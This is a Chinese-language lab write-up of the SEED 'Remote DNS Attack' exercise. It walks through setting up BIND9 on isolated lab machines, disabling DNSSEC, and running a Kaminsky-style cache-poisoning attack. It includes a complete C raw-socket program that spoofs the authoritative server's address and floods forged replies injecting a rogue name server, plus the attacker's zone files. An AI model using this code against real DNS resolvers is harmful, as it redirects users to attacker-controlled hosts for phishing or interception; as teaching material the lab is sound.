Seed lab:Remote DNS Attack

實驗環境:

服務器ip:192.168.86.139

Victim ip: 192.168.86.137

Attacker ip:192.168.86.138

準備工作:

  1. 安裝bind9服務器:

    • bind9官網 下載bind9,在此下載的是bind9.10.4

    • 解壓文件tar -xzvf bin9.10.4.tar.gz

    • cd bin9.10.4,並./configure –prefix=/usr/local/bind-9.9.0 –enable-threads –disable-openssl-version-check –sysconfdir=/etc –with-libtool –without-openssl

    • 由於沒有安裝openssl,所以在最後的選項中加入–without-openssl

    • make & make install

    • ln –sv /usr/local/bind-9.9.0 /usr/local/bind 軟連接

    • 在服務器中開啓 sudo rndc flush // 刷新cache

    • sudo rndc dumpdb -cache // 將cache dump到dump.db

  2. 開啓bind9服務:sudo service bind9 start

  3. 用戶機器配置:

    • vi /etc/resolv.conf,修改nameserve 192.168.86.138(DNS服務器地址)

    • 在ubuntu中,/etc/resolv.conf可能被DHCP客戶端更改,所以需要將DHCP關閉,具體做法如下:settings->network->options->IPV4 Settings,設置method爲Automatically DHCP addresses only, 並在DNS servers處填寫爲DNS服務器地址

  4. 查看用戶機是否將dns服務器配置成功:打開wireshark,並在該機器中ping www.google.com,在wireshark的篩選規則中填寫dns,查看抓包情況:

實驗步驟:

實驗一:Kaminsky攻擊

攻擊準備:

  • 確認攻擊機器的連接方式是NAT

  • 由於DNS的服務器端口可能不確定,在此將服DNS服務器的端口設置爲33333,具體設置如下:vi /etc/bind/named.conf.options,添加query-source port 33333;

  • 將DNS服務器的DNSSEC策略關閉,具體設置如下:vi /etc/bind/named.conf.options,找到dnssec-validation auto;,將其註釋掉,並添加dnssec-enable no;

  • 刷新dns cache,並從其dns服務:
    sudo rndc flush
    sudo service bind9 restart

實驗原理:

(1)攻擊者向被攻擊的本地緩存DNS發送一個域名的DNS 查詢請求,該查詢請求中的域名主機使用隨機序列和目標域名的組合。
例如www123456.test.com,其中ns2.test.com爲目標域名,www123456是隨機生成的。很顯然,這個查詢的域名主機記錄在test.com的權威DNS中是不存在的。正常test.com的權威DNS要返回NXDOMIAN(代表域名不存在)。換句話說就是本地緩存DNS中肯定沒有www123456.test.com的緩存記錄,本地緩存DNS接收到這個域名查詢請求後肯定是要出去迭代請求的。

(2)攻擊者僞造test.com的權威DNS應答數據包中,應答資源記錄部分與正確應答包中部分是與正常結果一樣的,比如test.com的DNS的IP地址、UDP端口號、應答結果是NXDOMAIN。
但是,在應答報文中的授權資源記錄部分,攻擊者僞造一個test.com的NS記錄爲ns2.test.com,且該記錄對應的A記錄IP是2.2.2.2(可能是一個釣魚網站的IP)。那麼該資源記錄信息將也被寫入本地緩存DNS的Cache 中,在Cache 保持時間內,對test.com名字服務器所管轄的所有域名的查詢都將被髮送到攻擊者自己控制的IP(2.2.2.2)中。

具體攻擊過程:

找到example.com域名服務器的ip地址

在攻擊者機器上ping www.example.com,用wireshark抓包有如下這個數據包,該數據包是從199.43.133.53的ip地址回覆的example.com包的查詢。所以需要僞造的ip地址爲199.43.133.53。

構造回覆包

在此主要介紹構造DNS域的包的過程。

DNS包的結果如上圖所示:在此介紹構造每一個域的過程。

DNS頭有16個字節,分別是標識ID,標誌,問題數,資源數,授權資源記錄數,額外資源記錄數,結果如下所示:

   struct dnsheader {
    unsigned short int query_id;
    unsigned short int flags;
    unsigned short int QDCOUNT;
    unsigned short int ANCOUNT;
    unsigned short int NSCOUNT;
    unsigned short int ARCOUNT;
};
  • 其中標誌ID爲DNS報文的ID,對於相關聯的請求報文和應答報文,這個字段是相同的,由此可以區分DNS應答報文是哪個請求報文的響應。由於不知道dns請求199.43.133.53時的ID號,所以在此將id號從3000到3100,每個id號都構造一個包。’

  • 對於flags來說,根據wireshark抓包可知,大小爲0x8400

  • 隨後的8個字節,由wireshark抓包可得,這四個域都爲1。

  • 隨後就是將查詢問題的內容給加進去,由於源程序給了構造查詢問題的步驟,所以,現在直接將其構造的內容加進去即可。

  • Dns查詢域名的結果的構造,如下圖所示,該域主要是回答了www.example.com的ip地址和以及類型和類,該出類型爲A,表示是由域名獲得該域名的IP地址,類爲IN,表示表示爲Internet名字空間。所以在構造該域的時候可以將ip地址改了,我在該實驗中將ip地址改爲了1.2.3.4

  • 接下來是要構造域名服務器,也是要構造的重點,由wireshark抓包得:

該域主要有Name,Type,Class,TTL,Data length和NS構成,其中Type爲NS表示爲Name Server,即域名服務器,TTL爲該記錄的有效時間, Name表示主域名。所以我在此構造將Name Server改爲了ns.dnslabattacker.net。

  • 接下來就是一些額外的信息,由wireshark抓包如下圖所示:

寫具體的程序進行攻擊


 // ----udp.c------
// This sample program must be run by root lol! 
// 
// The program is to spoofing tons of different queries to the victim.
// Use wireshark to study the packets. However, it is not enough for 
// the lab, please finish the response packet and complete the task.
//
// Compile command:
// gcc -lpcap udp.c -o udp
//
// 

    #include <unistd.h>

    #include <stdio.h>

    #include <sys/socket.h>

    #include <netinet/ip.h>

    #include <netinet/udp.h>
    #include <fcntl.h>
    #include <string.h>
    #include <errno.h>
    #include <stdlib.h>
#include <libnet.h>
    // The packet length

    #define PCKT_LEN 8192
    #define FLAG_R 0x8400
    #define FLAG_Q 0x0100



    // Can create separate header file (.h) for all headers' structure

    // The IP header's structure

    struct ipheader {

     unsigned char      iph_ihl:4, iph_ver:4;

     unsigned char      iph_tos;

     unsigned short int iph_len;

     unsigned short int iph_ident;

 //    unsigned char      iph_flag;

     unsigned short int iph_offset;

     unsigned char      iph_ttl;

     unsigned char      iph_protocol;

     unsigned short int iph_chksum;

     unsigned int       iph_sourceip;

     unsigned int       iph_destip;

    };



    // UDP header's structure

    struct udpheader {

     unsigned short int udph_srcport;

     unsigned short int udph_destport;

     unsigned short int udph_len;

     unsigned short int udph_chksum;

    };
    struct dnsheader {
    unsigned short int query_id;
    unsigned short int flags;
    unsigned short int QDCOUNT;
    unsigned short int ANCOUNT;
    unsigned short int NSCOUNT;
    unsigned short int ARCOUNT;
};
// This structure just for convinience in the DNS packet, because such 4 byte data often appears. 
    struct dataEnd{
    unsigned short int  type;
    unsigned short int  class;
};
    // total udp header length: 8 bytes (=64 bits)
// structure to hold the answer end section
struct ansEnd{
    //char* name;
    unsigned short int type;
    //char* type;
    unsigned short int class;
    //char* class;
    //unsigned int ttl;
    unsigned short int ttl_l;
    unsigned short int ttl_h;
    unsigned short int datalen;
};

// structure to hold the authorative nameserver end section
struct nsEnd{
    //char* name;
    unsigned short int type;
    unsigned short int class;
    //unsigned int ttl;
    unsigned short int ttl_l;
    unsigned short int ttl_h;
    unsigned short int datalen;
    //unsigned int ns;
};



unsigned int checksum(uint16_t *usBuff, int isize)
{
    unsigned int cksum=0;
    for(;isize>1;isize-=2){
    cksum+=*usBuff++;
       }
    if(isize==1){
     cksum+=*(uint16_t *)usBuff;
        }


    return (cksum);
}

// calculate udp checksum
uint16_t check_udp_sum(uint8_t *buffer, int len)
{
        unsigned long sum=0;
    struct ipheader *tempI=(struct ipheader *)(buffer);
    struct udpheader *tempH=(struct udpheader *)(buffer+sizeof(struct ipheader));
    struct dnsheader *tempD=(struct dnsheader *)(buffer+sizeof(struct ipheader)+sizeof(struct udpheader));
    tempH->udph_chksum=0;
    sum=checksum( (uint16_t *)   &(tempI->iph_sourceip) ,8 );
    sum+=checksum((uint16_t *) tempH,len);

    sum+=ntohs(IPPROTO_UDP+len);


    sum=(sum>>16)+(sum & 0x0000ffff);
    sum+=(sum>>16);

    return (uint16_t)(~sum);

}
    // Function for checksum calculation. From the RFC,

    // the checksum algorithm is:

    //  "The checksum field is the 16 bit one's complement of the one's

    //  complement sum of all 16 bit words in the header.  For purposes of

    //  computing the checksum, the value of the checksum field is zero."

    unsigned short csum(unsigned short *buf, int nwords)

    {       //

            unsigned long sum;

            for(sum=0; nwords>0; nwords--)

                    sum += *buf++;

            sum = (sum >> 16) + (sum &0xffff);

            sum += (sum >> 16);

            return (unsigned short)(~sum);

    }



//構造的回覆包
int response(char* request_url, char* src_addr, char* dest_addr)
{

// socket號
    int sd;

// 包的buffer
    char buffer[PCKT_LEN];

// 將buffer初始化爲0
    memset(buffer, 0, PCKT_LEN);

    // 初始化包頭地址
    struct ipheader *ip = (struct ipheader *) buffer;
    struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
    struct dnsheader *dns=(struct dnsheader*) (buffer +sizeof(struct ipheader)+sizeof(struct udpheader));

// data內容的指針  
    char *data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader));
//dns的flag位



///////////////////////////構造dns包////////////////////////////////////
    dns->flags=htons(FLAG_R);
    dns->QDCOUNT=htons(1);
    dns->ANCOUNT=htons(1);
    dns->NSCOUNT=htons(1);
        dns->ARCOUNT = htons(1);


//查詢的內容
    strcpy(data,request_url);
    int length= strlen(data)+1;


    struct dataEnd * end=(struct dataEnd *)(data+length);
    end->type=htons(1);
    end->class=htons(1);

    //回覆的內容
 char *ans=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length);

    strcpy(ans,request_url);
    int anslength= strlen(ans)+1;

    struct ansEnd * ansend=(struct ansEnd *)(ans+anslength);
    ansend->type = htons(1);
    ansend->class=htons(1);
    ansend->ttl_l=htons(0x00);
    ansend->ttl_h=htons(0xFFFF);  //tll,即有效的時間
    ansend->datalen=htons(4);    //回覆的內容的長度

    char *ansaddr=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength);

    strcpy(ansaddr,"\1\2\3\4");
    int addrlen = strlen(ansaddr);

//ns域名服務器
    char *ns =(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen);
    strcpy(ns,"\7example\3com");
    int nslength= strlen(ns)+1;

    struct nsEnd * nsend=(struct nsEnd *)(ns+nslength);
    nsend->type=htons(2);
    nsend->class=htons(1);
    nsend->ttl_l=htons(0x00);
    nsend->ttl_h=htons(0xFFFF);   //tll,即有效的時間
    //數據的長度,爲nsname的長度+1
    nsend->datalen=htons(23);  

    char *nsname=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength);

    //僞造的域名服務器
    strcpy(nsname,"\2ns\16dnslabattacker\3net");
    int nsnamelen = strlen(nsname)+1;

//額外的信息
 char *ar=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength+nsnamelen);
    strcpy(ar,"\2ns\16dnslabattacker\3net");
    int arlength = strlen(ar)+1;
    struct ansEnd* arend = (struct ansEnd*)(ar + arlength);
    arend->type = htons(1);
    arend->class=htons(1);
    arend->ttl_l=htons(0x00);
    arend->ttl_h=htons(0xFFFF);
    arend->datalen=htons(4);
    char *araddr=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength+nsnamelen+arlength+sizeof(struct ansEnd));

    strcpy(araddr,"\1\2\3\4");
    int araddrlen = strlen(araddr);

/////////////////////dns包的構造到此完畢///////////////////////////////

    //構造ip包

    struct sockaddr_in sin, din;

    int one = 1;

    const int *val = &one;

    sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);


if(sd<0 ) 
printf("socket error\n");



    sin.sin_family = AF_INET;

    din.sin_family = AF_INET;

    //端口號

    sin.sin_port = htons(33333);

    din.sin_port = htons(53);

    //IP地址

    sin.sin_addr.s_addr = inet_addr(src_addr); 

    din.sin_addr.s_addr = inet_addr("199.43.133.53"); //example.com的域名服務器的地址,可通過抓包獲得


    ip->iph_ihl = 5;


    ip->iph_ver = 4;


    ip->iph_tos = 0;


   unsigned short int packetLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)+anslength+sizeof( struct ansEnd)+nslength+sizeof(struct nsEnd)+addrlen+nsnamelen+arlength+sizeof(struct ansEnd)+araddrlen); // length + dataEnd_size == UDP_payload_size

     ip->iph_len=htons(packetLength);

    ip->iph_ident = htons(rand());


    ip->iph_ttl = 110; 

    ip->iph_protocol = 17; // UDP

    //該地值需要抓包確定

    ip->iph_sourceip = inet_addr("199.43.133.53");

    // The destination IP address

    ip->iph_destip = inet_addr(src_addr);



    // Fabricate the UDP header. Source port number, redundant

    udp->udph_srcport = htons(53);  // source port number, I make them random... remember the lower number may be reserved

    // Destination port number

    udp->udph_destport = htons(33333);


   udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)+anslength+sizeof( struct ansEnd)+nslength+sizeof(struct nsEnd)+addrlen+nsnamelen+arlength+sizeof(struct ansEnd)+araddrlen); // udp_header_size + udp_payload_size

    // Calculate the checksum for integrity//

    ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));


    udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));


    // Inform the kernel do not fill up the packet structure. we will build our own...
 if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0 )
{
    printf("error\n");    
    exit(-1);
}




int count = 0;
int trans_id = 3000;
while(count < 100){    


// This is to generate different query in xxxxx.example.edu
/*    int charnumber;
    charnumber=1+rand()%5;
    *(data+charnumber)+=1;
*/
    //dns->query_id=rand();
    dns->query_id=trans_id+count;
    udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader)); 
// recalculate the checksum for the UDP packet

    // send the packet out.
        if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        printf("packet send error %d which means %s\n",errno,strerror(errno));
    count++;
    }
close(sd);

return 0;

}








int main(int argc, char *argv[])
{



// This is to check the argc number
    if(argc != 3){

        printf("- Invalid parameters!!!\nPlease enter 2 ip addresses\nFrom first to last:src_IP  dest_IP  \n");

        exit(-1);

    }


// socket descriptor
    int sd;

// buffer to hold the packet
    char buffer[PCKT_LEN];

// set the buffer to 0 for all bytes
    memset(buffer, 0, PCKT_LEN);

    // Our own headers' structures

    struct ipheader *ip = (struct ipheader *) buffer;


    struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));


    struct dnsheader *dns=(struct dnsheader*) (buffer +sizeof(struct ipheader)+sizeof(struct udpheader));

// data is the pointer points to the first byte of the dns payload  
    char *data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader));



////////////////////////////////////////////////////////////////////////
// dns fields(UDP payload field)
// relate to the lab, you can change them. begin:
////////////////////////////////////////////////////////////////////////

//The flag you need to set

    dns->flags=htons(FLAG_Q);
//only 1 query, so the count should be one.
    dns->QDCOUNT=htons(1);



//query string
    strcpy(data,"\5abcde\7example\3com");
    int length= strlen(data)+1;



//this is for convinience to get the struct type write the 4bytes in a more organized way.

    struct dataEnd * end=(struct dataEnd *)(data+length);
    end->type=htons(1);
    end->class=htons(1);





/////////////////////////////////////////////////////////////////////
//
// DNS format, relate to the lab, you need to change them, end
//
//////////////////////////////////////////////////////////////////////










/*************************************************************************************
Construction of the packet is done. 
now focus on how to do the settings and send the packet we have composed out
***************************************************************************************/
    // Source and destination addresses: IP and port

    struct sockaddr_in sin, din;

    int one = 1;

    const int *val = &one;

     dns->query_id=rand(); // transaction ID for the query packet, use random #




    // Create a raw socket with UDP protocol

    sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);


if(sd<0 ) // if socket fails to be created 
printf("socket error\n");


    // The source is redundant, may be used later if needed

    // The address family

    sin.sin_family = AF_INET;

    din.sin_family = AF_INET;

    // Port numbers

    sin.sin_port = htons(33333);

    din.sin_port = htons(53);

    // IP addresses

    sin.sin_addr.s_addr = inet_addr(argv[2]); // this is the second argument we input into the program

    din.sin_addr.s_addr = inet_addr(argv[1]); // this is the first argument we input into the program



    // Fabricate the IP header or we can use the

    // standard header structures but assign our own values.

    ip->iph_ihl = 5;


    ip->iph_ver = 4;


    ip->iph_tos = 0; // Low delay


    unsigned short int packetLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)); // length + dataEnd_size == UDP_payload_size

     ip->iph_len=htons(packetLength);

    ip->iph_ident = htons(rand()); // we give a random number for the identification#


    ip->iph_ttl = 110; // hops

    ip->iph_protocol = 17; // UDP

    // Source IP address, can use spoofed address here!!!

    ip->iph_sourceip = inet_addr(argv[1]);

    // The destination IP address

    ip->iph_destip = inet_addr(argv[2]);



    // Fabricate the UDP header. Source port number, redundant

    udp->udph_srcport = htons(33333);  // source port number, I make them random... remember the lower number may be reserved

    // Destination port number

    udp->udph_destport = htons(53);


    udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)); // udp_header_size + udp_payload_size

    // Calculate the checksum for integrity//

    ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));


    udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));
/*******************************************************************************8
Tips

the checksum is quite important to pass the checking integrity. You need 
to study the algorithem and what part should be taken into the calculation.

!!!!!If you change anything related to the calculation of the checksum, you need to re-
calculate it or the packet will be dropped.!!!!!

Here things became easier since I wrote the checksum function for you. You don't need
to spend your time writing the right checksum function.
Just for knowledge purpose,
remember the seconed parameter
for UDP checksum:
ipheader_size + udpheader_size + udpData_size  
for IP checksum: 
ipheader_size + udpheader_size
*********************************************************************************/

    // Inform the kernel do not fill up the packet structure. we will build our own...
 if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0 )
{
    printf("error\n");    
    exit(-1);
}


while(1){    


// This is to generate different query in xxxxx.example.edu
    int charnumber;
    charnumber=1+rand()%5;
    *(data+charnumber)+=1;

    udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader)); // recalculate the checksum for the UDP packet

    // send the packet out.
        if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        printf("packet send error %d which means %s\n",errno,strerror(errno));
    sleep(0.9);
    response(data, argv[2], argv[1]);
    }
close(sd);

return 0;

}

在Attacker機器中構造查詢信息,隨機生成xxxx.example.com的域名,其中xxxx是隨機生成的,該目的就是生成不存在的域名,然後while循環,向域名服務器發送查詢xxxx.example.com域名的請求,緊接着發送僞造的回覆的包。

sudo rndc dumpdb -cache之後查看/etc/bind/dump.db文件的結果如下:

實驗二:結果的確認

使用假域名
* 配置攻擊者機器爲dns服務器,配置過程和上一個dns服務器過程一致。

  • 在Apollo服務器上配置ns.dnslabattacker.net的解析。

具體配置如下:
首先在/etc/bind/name.conf.default-zones中配置zone信息:

zone “ns.dnslabattacker.net”
{    type master:
    file “/etc/bind/db.attacker;
};

表明具體的解析文件在/etc/bind/db.attacker中,該文件具體內容如下:

;
; BIND data file for local loopback interface
;
$TTL    604800
@    IN    SOA    localhost. root.localhost. (
                  2        ; Serial
             604800        ; Refresh
              86400        ; Retry
            2419200        ; Expire
             604800 )    ; Negative Cache TTL
;
@    IN    NS    ns.dnslabattacker.net.
@    IN    A    192.168.86.138
@    IN    AAAA    ::1

其中192.168.86.138爲攻擊者機器的地址。
給db.attacker文件加權限chmod 644 db.attacker

  • 在攻擊者機器上配置example.com域名的解析,首先在/etc/bind/name/conf中添加如下信息:
zone “example.com” {
    type master;
    file “/etc/bind/example.com.db;
};

然後再創建/etc/bind/example.com.db文件,內容如下

$TTL 3D
@    IN    SOA    ns.example.com. admin.example.com. (
        2008111001
        8H
        2H
        4W
        1D)

@    IN    NS    ns.dnslabattacker.net.
@    IN    MX    10 mail.example.com.

www    IN    A    1.2.3.4
mail    IN    A    1.2.3.2
*.example.com.    IN    A 1.2.3.100

給example.com.db文件加權限,chmod 644 example.com.db。

  • 在victim機器中dig www.example.com,結果如下,解析了exmaple.com的ip地址爲1.2.3.4,域名服務器爲ns.dnslabattacker.net

在victim中ping www.example.com,結果如下:

其訪問的是1.2.3.4的ip地址。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章